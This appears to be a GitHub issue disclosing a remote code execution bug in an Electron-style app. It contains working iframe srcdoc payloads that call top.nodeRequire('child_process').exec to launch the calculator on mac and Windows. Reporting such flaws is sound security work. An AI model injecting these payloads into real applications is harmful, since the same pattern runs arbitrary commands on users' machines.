You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
[2] And we found that it is possible to load nodeJS from JavaScript through nodeRequire. This enabled Remote Code Execution.
mac : <iframesrcdoc="<script>top.nodeRequire('child_process').exec('open -a /System/Applications/Calculator.app')</script>"></iframe>
windows : <iframesrcdoc="<script>top.nodeRequire('child_process').exec('calc')</script>"></iframe>
Summary
It is possible to load nodeRequire using iframe.
Description
[1] We found that javascript execution is possible by adding a script tag using srcdoc, an option of the iframe tag.
[2] And we found that it is possible to load nodeJS from JavaScript through nodeRequire. This enabled Remote Code Execution.
what’s more
The text was updated successfully, but these errors were encountered: